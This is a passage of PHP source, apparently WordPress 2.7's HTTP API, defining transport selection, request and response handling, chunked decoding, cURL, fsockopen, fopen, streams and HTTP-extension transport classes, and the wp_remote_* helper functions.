apply_filters('use_curl_transport', true) ) { $working_transport['curl'] = new WP_Http_Curl(); $blocking_transport[] = &$working_transport['curl']; } else if ( true === WP_Http_Streams::test() && apply_filters('use_streams_transport', true) ) { $working_transport['streams'] = new WP_Http_Streams(); $blocking_transport[] = &$working_transport['streams']; } else if ( true === WP_Http_Fopen::test() && apply_filters('use_fopen_transport', true) ) { $working_transport['fopen'] = new WP_Http_Fopen(); $blocking_transport[] = &$working_transport['fopen']; } else if ( true === WP_Http_Fsockopen::test() && apply_filters('use_fsockopen_transport', true) ) { $working_transport['fsockopen'] = new WP_Http_Fsockopen(); $blocking_transport[] = &$working_transport['fsockopen']; } foreach ( array('curl', 'streams', 'fopen', 'fsockopen', 'exthttp') as $transport ) { if ( isset($working_transport[$transport]) ) $nonblocking_transport[] = &$working_transport[$transport]; } } if ( isset($args['blocking']) && !$args['blocking'] ) return $nonblocking_transport; else return $blocking_transport; } /** * Tests the WordPress HTTP objects for an object to use and returns it. * * Tests all of the objects and returns the object that passes. Also caches * that object to be used later. This is for posting content to a URL and * is used when there is a body. The plain Fopen Transport can not be used * to send content, but the streams transport can. This is a limitation that * is addressed here, by just not including that transport. * * @since 2.7 * @access private * * @param array $args Request args, default us an empty array * @return object|null Null if no transports are available, HTTP transport object. */ function &_postTransport( $args = array() ) { static $working_transport, $blocking_transport, $nonblocking_transport; if ( is_null($working_transport) ) { if ( true === WP_Http_ExtHttp::test() && apply_filters('use_http_extension_transport', true) ) { $working_transport['exthttp'] = new WP_Http_ExtHttp(); $blocking_transport[] = &$working_transport['exthttp']; } else if ( true === WP_Http_Streams::test() && apply_filters('use_streams_transport', true) ) { $working_transport['streams'] = new WP_Http_Streams(); $blocking_transport[] = &$working_transport['streams']; } else if ( true === WP_Http_Fsockopen::test() && apply_filters('use_fsockopen_transport', true) ) { $working_transport['fsockopen'] = new WP_Http_Fsockopen(); $blocking_transport[] = &$working_transport['fsockopen']; } foreach ( array('streams', 'fsockopen', 'exthttp') as $transport ) { if ( isset($working_transport[$transport]) ) $nonblocking_transport[] = &$working_transport[$transport]; } } if ( isset($args['blocking']) && !$args['blocking'] ) return $nonblocking_transport; else return $blocking_transport; } /** * Send a HTTP request to a URI. * * The body and headers are part of the arguments. The 'body' argument is * for the body and will accept either a string or an array. The 'headers' * argument should be an array, but a string is acceptable. If the 'body' * argument is an array, then it will automatically be escaped using * http_build_query(). * * The only URI that are supported in the HTTP Transport implementation are * the HTTP and HTTPS protocols. HTTP and HTTPS are assumed so the server * might not know how to handle the send headers. Other protocols are * unsupported and most likely will fail. * * The defaults are 'method', 'timeout', 'redirection', 'httpversion', * 'blocking' and 'user-agent'. * * Accepted 'method' values are 'GET', 'POST', and 'HEAD', some transports * technically allow others, but should not be assumed. The 'timeout' is * used to sent how long the connection should stay open before failing when * no response. 'redirection' is used to track how many redirects were taken * and used to sent the amount for other transports, but not all transports * accept setting that value. * * The 'httpversion' option is used to sent the HTTP version and accepted * values are '1.0', and '1.1' and should be a string. Version 1.1 is not * supported, because of chunk response. The 'user-agent' option is the * user-agent and is used to replace the default user-agent, which is * 'WordPress/WP_Version', where WP_Version is the value from $wp_version. * * 'blocking' is the default, which is used to tell the transport, whether * it should halt PHP while it performs the request or continue regardless. * Actually, that isn't entirely correct. Blocking mode really just means * whether the fread should just pull what it can whenever it gets bytes or * if it should wait until it has enough in the buffer to read or finishes * reading the entire content. It doesn't actually always mean that PHP will * continue going after making the request. * * @access public * @since 2.7 * * @param string $url URI resource. * @param str|array $args Optional. Override the defaults. * @return boolean */ function request( $url, $args = array() ) { global $wp_version; $defaults = array( 'method' => 'GET', 'timeout' => apply_filters( 'http_request_timeout', 5), 'redirection' => apply_filters( 'http_request_redirection_count', 5), 'httpversion' => apply_filters( 'http_request_version', '1.0'), 'user-agent' => apply_filters( 'http_headers_useragent', 'WordPress/' . $wp_version ), 'blocking' => true, 'headers' => array(), 'body' => null ); $r = wp_parse_args( $args, $defaults ); $r = apply_filters( 'http_request_args', $r ); if ( is_null( $r['headers'] ) ) $r['headers'] = array(); if ( ! is_array($r['headers']) ) { $processedHeaders = WP_Http::processHeaders($r['headers']); $r['headers'] = $processedHeaders['headers']; } if ( isset($r['headers']['User-Agent']) ) { $r['user-agent'] = $r['headers']['User-Agent']; unset($r['headers']['User-Agent']); } if ( isset($r['headers']['user-agent']) ) { $r['user-agent'] = $r['headers']['user-agent']; unset($r['headers']['user-agent']); } if ( is_null($r['body']) ) { // Some servers fail when sending content without the content-length // header being set. $r['headers']['Content-Length'] = 0; $transports = WP_Http::_getTransport($r); } else { if ( is_array( $r['body'] ) || is_object( $r['body'] ) ) { $r['body'] = http_build_query($r['body'], null, '&'); $r['headers']['Content-Type'] = 'application/x-www-form-urlencoded; charset=' . get_option('blog_charset'); $r['headers']['Content-Length'] = strlen($r['body']); } if ( ! isset( $r['headers']['Content-Length'] ) && ! isset( $r['headers']['content-length'] ) ) $r['headers']['Content-Length'] = strlen($r['body']); $transports = WP_Http::_postTransport($r); } $response = array( 'headers' => array(), 'body' => '', 'response' => array('code', 'message') ); foreach( (array) $transports as $transport ) { $response = $transport->request($url, $r); if( !is_wp_error($response) ) return $response; } return $response; } /** * Uses the POST HTTP method. * * Used for sending data that is expected to be in the body. * * @access public * @since 2.7 * * @param string $url URI resource. * @param str|array $args Optional. Override the defaults. * @return boolean */ function post($url, $args = array()) { $defaults = array('method' => 'POST'); $r = wp_parse_args( $args, $defaults ); return $this->request($url, $r); } /** * Uses the GET HTTP method. * * Used for sending data that is expected to be in the body. * * @access public * @since 2.7 * * @param string $url URI resource. * @param str|array $args Optional. Override the defaults. * @return boolean */ function get($url, $args = array()) { $defaults = array('method' => 'GET'); $r = wp_parse_args( $args, $defaults ); return $this->request($url, $r); } /** * Uses the HEAD HTTP method. * * Used for sending data that is expected to be in the body. * * @access public * @since 2.7 * * @param string $url URI resource. * @param str|array $args Optional. Override the defaults. * @return boolean */ function head($url, $args = array()) { $defaults = array('method' => 'HEAD'); $r = wp_parse_args( $args, $defaults ); return $this->request($url, $r); } /** * Parses the responses and splits the parts into headers and body. * * @access public * @static * @since 2.7 * * @param string $strResponse The full response string * @return array Array with 'headers' and 'body' keys. */ function processResponse($strResponse) { list($theHeaders, $theBody) = explode("\r\n\r\n", $strResponse, 2); return array('headers' => $theHeaders, 'body' => $theBody); } /** * Transform header string into an array. * * If an array is given then it is assumed to be raw header data with * numeric keys with the headers as the values. No headers must be passed * that were already processed. * * @access public * @static * @since 2.7 * * @param string|array $headers * @return array Processed string headers */ function processHeaders($headers) { if ( is_string($headers) ) $headers = explode("\n", str_replace(array("\r\n", "\r"), "\n", $headers) ); $response = array('code' => 0, 'message' => ''); $newheaders = array(); foreach ( $headers as $tempheader ) { if ( empty($tempheader) ) continue; if ( false === strpos($tempheader, ':') ) { list( , $iResponseCode, $strResponseMsg) = explode(' ', $tempheader, 3); $response['code'] = $iResponseCode; $response['message'] = $strResponseMsg; continue; } list($key, $value) = explode(':', $tempheader, 2); if ( ! empty($value) ) $newheaders[strtolower($key)] = trim($value); } return array('response' => $response, 'headers' => $newheaders); } /** * Decodes chunk transfer-encoding, based off the HTTP 1.1 specification. * * Based off the HTTP http_encoding_dechunk function. Does not support * UTF-8. Does not support returning footer headers. Shouldn't be too * difficult to support it though. * * @todo Add support for footer chunked headers. * @access public * @since 2.7 * @static * * @param string $body Body content * @return string Chunked decoded body on success or raw body on failure. */ function chunkTransferDecode($body) { $body = str_replace(array("\r\n", "\r"), "\n", $body); // The body is not chunked encoding or is malformed. if ( ! preg_match( '/^[0-9a-f]+(\s|\n)+/mi', trim($body) ) ) return $body; $parsedBody = ''; //$parsedHeaders = array(); Unsupported while ( true ) { $hasChunk = (bool) preg_match( '/^([0-9a-f]+)(\s|\n)+/mi', $body, $match ); if ( $hasChunk ) { if ( empty($match[1]) ) return $body; $length = hexdec( $match[1] ); $chunkLength = strlen( $match[0] ); $strBody = substr($body, $chunkLength, $length); $parsedBody .= $strBody; $body = ltrim(str_replace(array($match[0], $strBody), '', $body), "\n"); if( "0" == trim($body) ) return $parsedBody; // Ignore footer headers. } else { return $body; } } } } /** * HTTP request method uses fsockopen function to retrieve the url. * * This would be the preferred method, but the fsockopen implementation has the * most overhead of all the HTTP transport implementations. * * @package WordPress * @subpackage HTTP * @since 2.7 */ class WP_Http_Fsockopen { /** * Send a HTTP request to a URI using fsockopen(). * * Does not support non-blocking mode. * * @see WP_Http::request For default options descriptions. * * @since 2.7 * @access public * @param string $url URI resource. * @param str|array $args Optional. Override the defaults. * @return array 'headers', 'body', and 'response' keys. */ function request($url, $args = array()) { $defaults = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null ); $r = wp_parse_args( $args, $defaults ); if ( isset($r['headers']['User-Agent']) ) { $r['user-agent'] = $r['headers']['User-Agent']; unset($r['headers']['User-Agent']); } else if( isset($r['headers']['user-agent']) ) { $r['user-agent'] = $r['headers']['user-agent']; unset($r['headers']['user-agent']); } $iError = null; // Store error number $strError = null; // Store error string $arrURL = parse_url($url); $secure_transport = false; if ( ! isset($arrURL['port']) ) { if ( ($arrURL['scheme'] == 'ssl' || $arrURL['scheme'] == 'https') && extension_loaded('openssl') ) { $arrURL['host'] = 'ssl://' . $arrURL['host']; $arrURL['port'] = apply_filters('http_request_port', 443); $secure_transport = true; } else { $arrURL['port'] = apply_filters('http_request_default_port', 80); } } else { $arrURL['port'] = apply_filters('http_request_port', $arrURL['port']); } // There are issues with the HTTPS and SSL protocols that cause errors // that can be safely ignored and should be ignored. if ( true === $secure_transport ) $error_reporting = error_reporting(0); $startDelay = time(); if ( !defined('WP_DEBUG') || ( defined('WP_DEBUG') && false === WP_DEBUG ) ) $handle = @fsockopen($arrURL['host'], $arrURL['port'], $iError, $strError, $r['timeout'] ); else $handle = fsockopen($arrURL['host'], $arrURL['port'], $iError, $strError, $r['timeout'] ); $endDelay = time(); // If the delay is greater than the timeout then fsockopen should't be // used, because it will cause a long delay. $elapseDelay = ($endDelay-$startDelay) > $r['timeout']; if ( true === $elapseDelay ) add_option( 'disable_fsockopen', $endDelay, null, true ); if ( false === $handle ) return new WP_Error('http_request_failed', $iError . ': ' . $strError); // WordPress supports PHP 4.3, which has this function. Removed sanity // checking for performance reasons. stream_set_timeout($handle, $r['timeout'] ); $requestPath = $arrURL['path'] . ( isset($arrURL['query']) ? '?' . $arrURL['query'] : '' ); $requestPath = empty($requestPath) ? '/' : $requestPath; $strHeaders = ''; $strHeaders .= strtoupper($r['method']) . ' ' . $requestPath . ' HTTP/' . $r['httpversion'] . "\r\n"; $strHeaders .= 'Host: ' . $arrURL['host'] . "\r\n"; if( isset($r['user-agent']) ) $strHeaders .= 'User-agent: ' . $r['user-agent'] . "\r\n"; if ( is_array($r['headers']) ) { foreach ( (array) $r['headers'] as $header => $headerValue ) $strHeaders .= $header . ': ' . $headerValue . "\r\n"; } else { $strHeaders .= $r['headers']; } $strHeaders .= "\r\n"; if ( ! is_null($r['body']) ) $strHeaders .= $r['body']; fwrite($handle, $strHeaders); if ( ! $r['blocking'] ) { fclose($handle); return array( 'headers' => array(), 'body' => '', 'response' => array('code', 'message') ); } $strResponse = ''; while ( ! feof($handle) ) $strResponse .= fread($handle, 4096); fclose($handle); if ( true === $secure_transport ) error_reporting($error_reporting); $process = WP_Http::processResponse($strResponse); $arrHeaders = WP_Http::processHeaders($process['headers']); // Is the response code within the 400 range? if ( (int) $arrHeaders['response']['code'] >= 400 && (int) $arrHeaders['response']['code'] < 500 ) return new WP_Error('http_request_failed', $arrHeaders['response']['code'] . ': ' . $arrHeaders['response']['message']); // If location is found, then assume redirect and redirect to location. if ( isset($arrHeaders['headers']['location']) ) { if ( $r['redirection']-- > 0 ) { return $this->request($arrHeaders['headers']['location'], $r); } else { return new WP_Error('http_request_failed', __('Too many redirects.')); } } // If the body was chunk encoded, then decode it. if ( ! empty( $process['body'] ) && isset( $arrHeaders['headers']['transfer-encoding'] ) && 'chunked' == $arrHeaders['headers']['transfer-encoding'] ) $process['body'] = WP_Http::chunkTransferDecode($process['body']); return array('headers' => $arrHeaders['headers'], 'body' => $process['body'], 'response' => $arrHeaders['response']); } /** * Whether this class can be used for retrieving an URL. * * @since 2.7 * @static * @return boolean False means this class can not be used, true means it can. */ function test() { if ( false !== ($option = get_option( 'disable_fsockopen' )) && time()-$option < 43200 ) // 12 hours return false; if ( function_exists( 'fsockopen' ) ) return true; return false; } } /** * HTTP request method uses fopen function to retrieve the url. * * Requires PHP version greater than 4.3.0 for stream support. Does not allow * for $context support, but should still be okay, to write the headers, before * getting the response. Also requires that 'allow_url_fopen' to be enabled. * * @package WordPress * @subpackage HTTP * @since 2.7 */ class WP_Http_Fopen { /** * Send a HTTP request to a URI using fopen(). * * This transport does not support sending of headers and body, therefore * should not be used in the instances, where there is a body and headers. * * Notes: Does not support non-blocking mode. Ignores 'redirection' option. * * @see WP_Http::retrieve For default options descriptions. * * @access public * @since 2.7 * * @param string $url URI resource. * @param str|array $args Optional. Override the defaults. * @return array 'headers', 'body', and 'response' keys. */ function request($url, $args = array()) { global $http_response_header; $defaults = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null ); $r = wp_parse_args( $args, $defaults ); $arrURL = parse_url($url); if ( false === $arrURL ) return new WP_Error('http_request_failed', sprintf(__('Malformed URL: %s'), $url)); if ( 'http' != $arrURL['scheme'] && 'https' != $arrURL['scheme'] ) $url = str_replace($arrURL['scheme'], 'http', $url); if ( !defined('WP_DEBUG') || ( defined('WP_DEBUG') && false === WP_DEBUG ) ) $handle = @fopen($url, 'r'); else $handle = fopen($url, 'r'); if (! $handle) return new WP_Error('http_request_failed', sprintf(__('Could not open handle for fopen() to %s'), $url)); // WordPress supports PHP 4.3, which has this function. Removed sanity // checking for performance reasons. stream_set_timeout($handle, $r['timeout'] ); if ( ! $r['blocking'] ) { fclose($handle); return array( 'headers' => array(), 'body' => '', 'response' => array('code', 'message') ); } $strResponse = ''; while ( ! feof($handle) ) $strResponse .= fread($handle, 4096); $theHeaders = ''; if ( function_exists('stream_get_meta_data') ) { $meta = stream_get_meta_data($handle); $theHeaders = $meta['wrapper_data']; if( isset( $meta['wrapper_data']['headers'] ) ) $theHeaders = $meta['wrapper_data']['headers']; } else { if( ! isset( $http_response_header ) ) global $http_response_header; $theHeaders = $http_response_header; } fclose($handle); $processedHeaders = WP_Http::processHeaders($theHeaders); if ( ! empty( $strResponse ) && isset( $processedHeaders['headers']['transfer-encoding'] ) && 'chunked' == $processedHeaders['headers']['transfer-encoding'] ) $strResponse = WP_Http::chunkTransferDecode($strResponse); return array('headers' => $processedHeaders['headers'], 'body' => $strResponse, 'response' => $processedHeaders['response']); } /** * Whether this class can be used for retrieving an URL. * * @static * @return boolean False means this class can not be used, true means it can. */ function test() { if ( ! function_exists('fopen') || (function_exists('ini_get') && true != ini_get('allow_url_fopen')) ) return false; return true; } } /** * HTTP request method uses Streams to retrieve the url. * * Requires PHP 5.0+ and uses fopen with stream context. Requires that * 'allow_url_fopen' PHP setting to be enabled. * * Second preferred method for getting the URL, for PHP 5. * * @package WordPress * @subpackage HTTP * @since 2.7 */ class WP_Http_Streams { /** * Send a HTTP request to a URI using streams with fopen(). * * @access public * @since 2.7 * * @param string $url * @param str|array $args Optional. Override the defaults. * @return array 'headers', 'body', and 'response' keys. */ function request($url, $args = array()) { $defaults = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null ); $r = wp_parse_args( $args, $defaults ); if ( isset($r['headers']['User-Agent']) ) { $r['user-agent'] = $r['headers']['User-Agent']; unset($r['headers']['User-Agent']); } else if( isset($r['headers']['user-agent']) ) { $r['user-agent'] = $r['headers']['user-agent']; unset($r['headers']['user-agent']); } $arrURL = parse_url($url); if ( false === $arrURL ) return new WP_Error('http_request_failed', sprintf(__('Malformed URL: %s'), $url)); if ( 'http' != $arrURL['scheme'] && 'https' != $arrURL['scheme'] ) $url = str_replace($arrURL['scheme'], 'http', $url); // Convert Header array to string. $strHeaders = ''; if ( is_array( $r['headers'] ) ) foreach( $r['headers'] as $name => $value ) $strHeaders .= "{$name}: $value\r\n"; else if ( is_string( $r['headers'] ) ) $strHeaders = $r['headers']; $arrContext = array('http' => array( 'method' => strtoupper($r['method']), 'user_agent' => $r['user-agent'], 'max_redirects' => $r['redirection'], 'protocol_version' => (float) $r['httpversion'], 'header' => $strHeaders, 'timeout' => $r['timeout'] ) ); if ( ! is_null($r['body']) && ! empty($r['body'] ) ) $arrContext['http']['content'] = $r['body']; $context = stream_context_create($arrContext); if ( ! defined('WP_DEBUG') || ( defined('WP_DEBUG') && false === WP_DEBUG ) ) $handle = @fopen($url, 'r', false, $context); else $handle = fopen($url, 'r', false, $context); if ( ! $handle) return new WP_Error('http_request_failed', sprintf(__('Could not open handle for fopen() to %s'), $url)); // WordPress supports PHP 4.3, which has this function. Removed sanity // checking for performance reasons. stream_set_timeout($handle, $r['timeout'] ); if ( ! $r['blocking'] ) { stream_set_blocking($handle, 0); fclose($handle); return array( 'headers' => array(), 'body' => '', 'response' => array('code', 'message') ); } $strResponse = stream_get_contents($handle); $meta = stream_get_meta_data($handle); $processedHeaders = array(); if( isset( $meta['wrapper_data']['headers'] ) ) $processedHeaders = WP_Http::processHeaders($meta['wrapper_data']['headers']); else $processedHeaders = WP_Http::processHeaders($meta['wrapper_data']); if ( ! empty( $strResponse ) && isset( $processedHeaders['headers']['transfer-encoding'] ) && 'chunked' == $processedHeaders['headers']['transfer-encoding'] ) $strResponse = WP_Http::chunkTransferDecode($strResponse); fclose($handle); return array('headers' => $processedHeaders['headers'], 'body' => $strResponse, 'response' => $processedHeaders['response']); } /** * Whether this class can be used for retrieving an URL. * * @static * @access public * @since 2.7 * * @return boolean False means this class can not be used, true means it can. */ function test() { if ( ! function_exists('fopen') || (function_exists('ini_get') && true != ini_get('allow_url_fopen')) ) return false; if ( version_compare(PHP_VERSION, '5.0', '<') ) return false; return true; } } /** * HTTP request method uses HTTP extension to retrieve the url. * * Requires the HTTP extension to be installed. This would be the preferred * transport since it can handle a lot of the problems that forces the others to * use the HTTP version 1.0. Even if PHP 5.2+ is being used, it doesn't mean * that the HTTP extension will be enabled. * * @package WordPress * @subpackage HTTP * @since 2.7 */ class WP_Http_ExtHTTP { /** * Send a HTTP request to a URI using HTTP extension. * * Does not support non-blocking. * * @access public * @since 2.7 * * @param string $url * @param str|array $args Optional. Override the defaults. * @return array 'headers', 'body', and 'response' keys. */ function request($url, $args = array()) { $defaults = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null ); $r = wp_parse_args( $args, $defaults ); if ( isset($r['headers']['User-Agent']) ) { $r['user-agent'] = $r['headers']['User-Agent']; unset($r['headers']['User-Agent']); } else if( isset($r['headers']['user-agent']) ) { $r['user-agent'] = $r['headers']['user-agent']; unset($r['headers']['user-agent']); } switch ( $r['method'] ) { case 'POST': $r['method'] = HTTP_METH_POST; break; case 'HEAD': $r['method'] = HTTP_METH_HEAD; break; case 'GET': default: $r['method'] = HTTP_METH_GET; } $arrURL = parse_url($url); if ( 'http' != $arrURL['scheme'] || 'https' != $arrURL['scheme'] ) $url = str_replace($arrURL['scheme'], 'http', $url); $options = array( 'timeout' => $r['timeout'], 'connecttimeout' => $r['timeout'], 'redirect' => $r['redirection'], 'useragent' => $r['user-agent'], 'headers' => $r['headers'], ); if ( !defined('WP_DEBUG') || ( defined('WP_DEBUG') && false === WP_DEBUG ) ) //Emits warning level notices for max redirects and timeouts $strResponse = @http_request($r['method'], $url, $r['body'], $options, $info); else $strResponse = http_request($r['method'], $url, $r['body'], $options, $info); //Emits warning level notices for max redirects and timeouts if ( false === $strResponse || ! empty($info['error']) ) //Error may still be set, Response may return headers or partial document, and error contains a reason the request was aborted, eg, timeout expired or max-redirects reached return new WP_Error('http_request_failed', $info['response_code'] . ': ' . $info['error']); if ( ! $r['blocking'] ) return array( 'headers' => array(), 'body' => '', 'response' => array('code', 'message') ); list($theHeaders, $theBody) = explode("\r\n\r\n", $strResponse, 2); $theHeaders = WP_Http::processHeaders($theHeaders); if ( ! empty( $theBody ) && isset( $theHeaders['headers']['transfer-encoding'] ) && 'chunked' == $theHeaders['headers']['transfer-encoding'] ) { if ( !defined('WP_DEBUG') || ( defined('WP_DEBUG') && false === WP_DEBUG ) ) $theBody = @http_chunked_decode($theBody); else $theBody = http_chunked_decode($theBody); } $theResponse = array(); $theResponse['code'] = $info['response_code']; $theResponse['message'] = get_status_header_desc($info['response_code']); return array('headers' => $theHeaders['headers'], 'body' => $theBody, 'response' => $theResponse); } /** * Whether this class can be used for retrieving an URL. * * @static * @since 2.7 * * @return boolean False means this class can not be used, true means it can. */ function test() { if ( function_exists('http_request') ) return true; return false; } } /** * HTTP request method uses Curl extension to retrieve the url. * * Requires the Curl extension to be installed. * * @package WordPress * @subpackage HTTP * @since 2.7 */ class WP_Http_Curl { /** * Send a HTTP request to a URI using cURL extension. * * @access public * @since 2.7 * * @param string $url * @param str|array $args Optional. Override the defaults. * @return array 'headers', 'body', and 'response' keys. */ function request($url, $args = array()) { $defaults = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null ); $r = wp_parse_args( $args, $defaults ); if ( isset($r['headers']['User-Agent']) ) { $r['user-agent'] = $r['headers']['User-Agent']; unset($r['headers']['User-Agent']); } else if( isset($r['headers']['user-agent']) ) { $r['user-agent'] = $r['headers']['user-agent']; unset($r['headers']['user-agent']); } // cURL extension will sometimes fail when the timeout is less than 1 as // it may round down to 0, which gives it unlimited timeout. if ( $r['timeout'] > 0 && $r['timeout'] < 1 ) $r['timeout'] = 1; $handle = curl_init(); curl_setopt( $handle, CURLOPT_URL, $url); // The cURL extension requires that the option be set for the HEAD to // work properly. if ( 'HEAD' === $r['method'] ) { curl_setopt( $handle, CURLOPT_NOBODY, true ); } if ( true === $r['blocking'] ) { curl_setopt( $handle, CURLOPT_HEADER, true ); curl_setopt( $handle, CURLOPT_RETURNTRANSFER, 1 ); } else { curl_setopt( $handle, CURLOPT_HEADER, false ); curl_setopt( $handle, CURLOPT_NOBODY, true ); curl_setopt( $handle, CURLOPT_RETURNTRANSFER, 0 ); } curl_setopt( $handle, CURLOPT_USERAGENT, $r['user-agent'] ); curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, 1 ); curl_setopt( $handle, CURLOPT_TIMEOUT, $r['timeout'] ); curl_setopt( $handle, CURLOPT_MAXREDIRS, $r['redirection'] ); // The option doesn't work with safe mode or when open_basedir is set. if ( !ini_get('safe_mode') && !ini_get('open_basedir') ) curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true ); if( ! is_null($r['headers']) ) curl_setopt( $handle, CURLOPT_HTTPHEADER, $r['headers'] ); if ( $r['httpversion'] == '1.0' ) curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 ); else curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 ); if ( ! $r['blocking'] ) { curl_exec( $handle ); curl_close( $handle ); return array( 'headers' => array(), 'body' => '', 'response' => array('code', 'message') ); } $theResponse = curl_exec( $handle ); if ( !empty($theResponse) ) { $headerLength = curl_getinfo($handle, CURLINFO_HEADER_SIZE); $theHeaders = trim( substr($theResponse, 0, $headerLength) ); $theBody = substr( $theResponse, $headerLength ); if ( false !== strrpos($theHeaders, "\r\n\r\n") ) { $headerParts = explode("\r\n\r\n", $theHeaders); $theHeaders = $headerParts[ count($headerParts) -1 ]; } $theHeaders = WP_Http::processHeaders($theHeaders); } else { if ( $curl_error = curl_error($handle) ) return new WP_Error('http_request_failed', $curl_error); if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array(301, 302) ) ) return new WP_Error('http_request_failed', __('Too many redirects.')); $theHeaders = array( 'headers' => array() ); $theBody = ''; } $response = array(); $response['code'] = curl_getinfo( $handle, CURLINFO_HTTP_CODE ); $response['message'] = get_status_header_desc($response['code']); curl_close( $handle ); return array('headers' => $theHeaders['headers'], 'body' => $theBody, 'response' => $response); } /** * Whether this class can be used for retrieving an URL. * * @static * @since 2.7 * * @return boolean False means this class can not be used, true means it can. */ function test() { if ( function_exists('curl_init') && function_exists('curl_exec') ) return true; return false; } } /** * Returns the initialized WP_Http Object * * @since 2.7 * @access private * * @return WP_Http HTTP Transport object. */ function &_wp_http_get_object() { static $http; if ( is_null($http) ) $http = new WP_Http(); return $http; } /** * Retrieve the raw response from the HTTP request. * * The array structure is a little complex. * * <code> * $res = array( 'headers' => array(), 'response' => array('code', 'message') ); * </code> * * All of the headers in $res['headers'] are with the name as the key and the * value as the value. So to get the User-Agent, you would do the following. * * <code> * $user_agent = $res['headers']['user-agent']; * </code> * * The body is the raw response content and can be retrieved from $res['body']. * * This function is called first to make the request and there are other API * functions to abstract out the above convoluted setup. * * @since 2.7.0 * * @param string $url Site URL to retrieve. * @param array $args Optional. Override the defaults. * @return string The body of the response */ function wp_remote_request($url, $args = array()) { $objFetchSite = _wp_http_get_object(); return $objFetchSite->request($url, $args); } /** * Retrieve the raw response from the HTTP request using the GET method. * * @see wp_remote_request() For more information on the response array format. * * @since 2.7 * * @param string $url Site URL to retrieve. * @param array $args Optional. Override the defaults. * @return string The body of the response */ function wp_remote_get($url, $args = array()) { $objFetchSite = _wp_http_get_object(); return $objFetchSite->get($url, $args); } /** * Retrieve the raw response from the HTTP request using the POST method. * * @see wp_remote_request() For more information on the response array format. * * @since 2.7 * * @param string $url Site URL to retrieve. * @param array $args Optional. Override the defaults. * @return string The body of the response */ function wp_remote_post($url, $args = array()) { $objFetchSite = _wp_http_get_object(); return $objFetchSite->post($url, $args); } /** * Retrieve the raw response from the HTTP request using the HEAD method. * * @see wp_remote_request() For more information on the response array format. * * @since 2.7 * * @param string $url Site URL to retrieve. * @param array $args Optional. Override the defaults. * @return string The body of the response */ function wp_remote_head($url, $args = array()) { $objFetchSite = _wp_http_get_object(); return $objFetchSite->head($url, $args); } /** * Retrieve only the headers from the raw response. * * @since 2.7 * * @param array $response HTTP response. * @return array The headers of the response. Empty array if incorrect parameter given. */ function wp_remote_retrieve_headers(&$response) { if ( ! isset($response['headers']) || ! is_array($response['headers'])) return array(); return $response['headers']; } /** * Retrieve a single header by name from the raw response. * * @since 2.7 * * @param array $response * @param string $header Header name to retrieve value from. * @return array The header value. Empty string on if incorrect parameter given. */ function wp_remote_retrieve_header(&$response, $header) { if ( ! isset($response['headers']) || ! is_array($response['headers'])) return ''; if ( array_key_exists($header, $response['headers']) ) return $response['headers'][$header]; return ''; } /** * Retrieve only the response code from the raw response. * * Will return an empty array if incorrect parameter value is given. * * @since 2.7 * * @param array $response HTTP response. * @return array The keys 'code' and 'message' give information on the response. */ function wp_remote_retrieve_response_code(&$response) { if ( ! isset($response['response']) || ! is_array($response['response'])) return ''; return $response['response']['code']; } /** * Retrieve only the response message from the raw response. * * Will return an empty array if incorrect parameter value is given. * * @since 2.7 * * @param array $response HTTP response. * @return array The keys 'code' and 'message' give information on the response. */ function wp_remote_retrieve_response_message(&$response) { if ( ! isset($response['response']) || ! is_array($response['response'])) return ''; return $response['response']['message']; } /** * Retrieve only the body from the raw response. * * @since 2.7 * * @param array $response HTTP response. * @return string The body of the response. Empty string if no body or incorrect parameter given. */ function wp_remote_retrieve_body(&$response) { if ( ! isset($response['body']) ) return ''; return $response['body']; } ?>